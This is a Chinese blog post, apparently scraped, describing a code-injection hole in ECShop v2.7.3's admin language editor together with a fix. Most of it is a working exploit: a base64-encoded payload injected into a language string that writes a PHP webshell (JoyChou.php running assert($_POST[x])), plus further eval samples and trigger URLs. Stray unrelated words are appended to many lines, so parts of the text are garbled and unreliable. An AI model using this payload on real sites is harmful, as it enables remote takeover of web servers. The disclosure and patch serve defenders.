v2.7.3 RELEASE 20121106(最新)
v2.7.3 RELEASE 20120411php
需登陸到後臺shell
1) 登錄到臺後,選擇模板管理,語言項編輯,搜索「用戶信息」服務器
爲何要搜索「用戶信息」,還能夠搜索其它的嗎?測試
答案是搜索languages\zh_cn\user.php
文件裏任何一個變量均可以網站
2) 添加以下後門,將用戶信息改成ui
用戶信息${${fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))}}
即生成一個JoyChou.php文件,內容爲:阿里雲
<?php assert( $_POST[x] ); ?>
3) 訪問user.php便可產生shell(不用註冊登陸帳戶)spa
http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php
或
http://localhost/ECShop_V2.7.3_UTF8_release0411/languages/zh_cn/user.php
在admin\edit_languages.php文件中第120行,修改變量內容,注意是用的雙引號。code
for ($i = 0; $i < count($_POST['item_id']); $i++) { /* 語言項內容若是爲空,不修改 */ if (trim($_POST['item_content'][$i]) == '') { unset($src_items[$i]); } else { $_POST['item_content'][$i] = str_replace('\\\\n', '\\n', $_POST['item_content'][$i]); /* $_POST['item_content'][$i]是修改後增長的內容,即增長的"用戶信息${${fputs(fopen"等內容 $dst_items[$i] 是 $_LANG['label_profile'] = "用戶信息${${fputs(fopen"; */ $dst_items[$i] = $_POST['item_id'][$i] .' = '. '"' .$_POST['item_content'][$i]. '";'; } }
修改完後文件\languages\zh_cn\user.php變量爲:注意是雙引號哦blog
$_LANG['label_profile'] = "用戶信息${${fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))}}";
因爲是雙引號,因此只要在任意的php文件中引用這個變量,代碼就會成功執行。
至於爲何能夠執行?原理以下:
下面這三句話均可以執行,與其說代碼執行,不如說參數執行。
<?php $a = "${ phpinfo()}"; // 有一個空格 $b = "{${phpinfo()}}"; // 多一對{},可是沒有空格 $c = "{${fputs(fopen("JoyChou.php", "w+"), "<?php eval(\$_POST[1]);?>")}}"; $d = "asdf{${phpinfo()}}"; // {字符前能夠隨意加字符串 ?>
而http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php這個文件包含\languages\zh_cn\user.php 這個文件,因此也能夠代碼執行。
/* 載入語言文件 */ require_once(ROOT_PATH . 'languages/' .$_CFG['lang']. '/user.php');
瞭解了漏洞原理後,修復就是一件比較簡單的事情,只需將雙引號改成單引號
修改\admin\edit_languages.php
// 修復前 $dst_items[$i] = $_POST['item_id'][$i] .' = '. '"' .$_POST['item_content'][$i]. '";'; // 修復後,因爲想在單引號之間出現單引號,必須使用轉義。 $dst_items[$i] = $_POST['item_id'][$i] .' = '. '\'' .$_POST['item_content'][$i]. '\';';
再次訪問http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php已經不能生成JoyChou.php,代碼沒能獲得執行。
注:這個注入漏洞很老,但一直存在。我從模板堂下載的ECShop最新版,就含有此漏洞。網站搭建在阿里雲,提示服務器上ECShop有注入漏洞,查看後才發現。雖然我已經及時修復,但更多用戶可能不曾留意或者沒技術支持吧。